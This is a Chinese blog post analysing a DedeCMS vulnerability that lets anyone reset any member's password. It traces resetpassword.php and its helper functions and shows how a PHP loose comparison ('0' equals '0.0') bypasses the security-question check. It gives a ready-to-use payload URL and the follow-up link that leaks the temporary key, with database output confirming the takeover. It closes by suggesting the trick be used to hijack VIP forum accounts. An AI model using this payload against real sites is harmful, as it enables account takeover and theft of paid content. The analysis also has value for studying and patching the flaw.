织梦最新前台任意用户密码修改 - 颓废's Blog

织梦最新前台任意用户密码修改

  • 内容
  • 相关

 漏洞分析

dedecms/member/resetpassword.php      //75行
else if($dopost == "safequestion")
{
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

    if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
    {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }
    else
    {
        ShowMsg("对不起,您的安全问题或答案回答错误","-1");
        exit();
    }

}
管理员帐号admin的$row['safequestion']默认是为’0’(字符串),所以$safequestion不能为空。否则不进入$row['safequestion'] == $safequestion。而$_GET[‘safequestion ’]传过来的值为字符串,当$_GET[‘safequestion ’]为’0’时进入if(empty($safequestion))。当$_GET[‘safequestion ’]为’0.0’时不进入if(empty($safequestion)),而’0’=’0.0’进入if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer),右边的$safeanswer本身就为空。所以不用理。

跟进函数sn:
function sn($mid,$userid,$mailto, $send = 'Y')
{
    global $db;
    $tptim= (60*10);
    $dtime = time();
    $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(!is_array($row))
    {
        //发送新邮件;
        newmail($mid,$userid,$mailto,'INSERT',$send);
    }
    //10分钟后可以再次发送新验证码;
    elseif($dtime - $tptim > $row['mailtime'])
    {
        newmail($mid,$userid,$mailto,'UPDATE',$send);
    }
    //重新发送新的验证码确认邮件;
    else
    {
        return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
    }
}
这里从数据库取出来的值应该为空$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";于是进入   
if(!is_array($row))
    {
        //发送新邮件;
        newmail($mid,$userid,$mailto,'INSERT',$send);
}
注意一下$send为N
我们跟进newmail函数:
function newmail($mid, $userid, $mailto, $type, $send)
{
    global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
    $mailtime = time();
    $randval = random(8);
    $mailtitle = $cfg_webname.":密码修改";
    $mailto = $mailto;
    $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
    $mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
    if($type == 'INSERT')
    {
        $key = md5($randval);
        $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid',  '$key', '$mailtime');";
        if($db->ExecuteNoneQuery($sql))
        {
            if($send == 'Y')
            {
                sendmail($mailto,$mailtitle,$mailbody,$headers);
                return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
            } else if ($send == 'N')
            {
                return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
            }
        }
        else
        {
            return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
        }
}
这里直接是对dede_pwd_tmp表插入临时密码,临时密码为$randval = random(8);是8位,但是别急。紧接着插入完成之后ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);也就是说在insert完成之后跳转把$randval输出到了页面。

 

利用点:使用dedecms并开启会员注册的网站

1.png
br />

payload:
http://localhost/member/resetpassword.php?i=0.0&dopost=safequestion&safequestion=0.0&safeanswer=&id=1
问题文件dedecms\member\resetpassword.php,问题出在75行

else if($dopost == "safequestion")
{
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

    if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
    {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }
    else
    {
        ShowMsg("对不起,您的安全问题或答案回答错误","-1");
        exit();
    }

}
按照payload传入的参数,sql语句查询的结果如下

mysql> SELECT safequestion,safeanswer,userid,email from dede_member WHERE mid = 1;
+--------------+------------+--------+-------+
| safequestion | safeanswer | userid | email |
+--------------+------------+--------+-------+
|            0 |            | admin  |       |
+--------------+------------+--------+-------+
根据这个查询结果,也就意味着等下会调用sn函数,传入的参数如下:

sn($mid=1, $userid='admin', $mailto='', $send='N')
接下来继续跟踪sn函数。该函数位于dedecms\member\inc\inc_pwd_functions.php文件中,具体功能如下:

function sn($mid,$userid,$mailto, $send = 'Y')
{
    global $db;
    $tptim= (60*10);
    $dtime = time();
    $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
    $row = $db->GetOne($sql);
    if(!is_array($row))
    {
        //发送新邮件;
        newmail($mid,$userid,$mailto,'INSERT',$send);
    }
    //10分钟后可以再次发送新验证码;
    elseif($dtime - $tptim > $row['mailtime'])
    {
        newmail($mid,$userid,$mailto,'UPDATE',$send);
    }
    //重新发送新的验证码确认邮件;
    else
    {
        return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
    }
}
默认状态下,临时密码的表为空,如下

mysql> select * from dede_pwd_tmp;
Empty set (0.00 sec)
当我们访问完payload时,链接会自动跳转到http://localhost/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=34qn8KnX

这里key的值就是admin的临时密码,这时再查询数据库的临时密码表,你会发现多了一条admin的记录

mysql> select * from dede_pwd_tmp;
+-----+------------+----------------------------------+------------+
| mid | membername | pwd                              | mailtime   |
+-----+------------+----------------------------------+------------+
|   1 | admin      | 0aa76a6cf6c9abd06df9081f12e094e4 | 1515599643 |
+-----+------------+----------------------------------+------------+
1 row in set (0.00 sec)

2.png

这是因为一开始执行

SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'
语句时,返回结果为空,进而会执行160行的newmail函数,传参如下

newmail($mid=1,$userid='admin',$mailto='',$type='INSERT',$send=N);
继续跟踪newmail函数(在该文件73行处)

global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
$mailtime = time();
$randval = random(8);
$mailtitle = $cfg_webname.":密码修改";
$mailto = $mailto;
$headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
$mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
if($type == 'INSERT')
{
    $key = md5($randval);
    $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid',  '$key', '$mailtime');";
    if($db->ExecuteNoneQuery($sql))
    {
        if($send == 'Y')
        {
            sendmail($mailto,$mailtitle,$mailbody,$headers);
            return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
        } else if ($send == 'N')
        {
            return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
        }
    }
    else
    {
        return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
    }
}

我们发现,这个函数往数据库中插入了一条admin的临时密码的记录,并且会跳转到/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval链接

使用前面获取的值,访问下面链接即可跳转到用户密码修改页面
http://192.168.2.104/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=FRfsUlnx

3.png
br />

但是默认情况下,admin在会员中心是静止登录的,也就是说即使你修改成功了admin会员的密码,还是不能登录admin,但是其他的会员就可以随意登录。比如一些论坛的资源教程需要vip,你可以修改vip用户的密码,然后猥琐欲为

本文标签:

版权声明:若无特殊注明,本文皆为《颓废》原创,转载请保留文章出处。

收录状态:[百度已收录] | [360已收录] | [搜狗已收录]

本文链接:织梦最新前台任意用户密码修改 - https://www.0dayhack.com/post-768.html

严重声明:本站内容来自于互联网,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规,黑客不是骇客,黑客维护网络安全

发表评论

电子邮件地址不会被公开。 必填项已用*标注

评论

1条评论
  1. avatar

    痼癖 Lv.1 Chrome 50.0.2661.102 Chrome 50.0.2661.102 Windows 7 x64 Edition Windows 7 x64 Edition 回复

    表情 写得好好哟,我要给你生猴子!

    陕西省西安市 九天网络(高新四路甲子8号)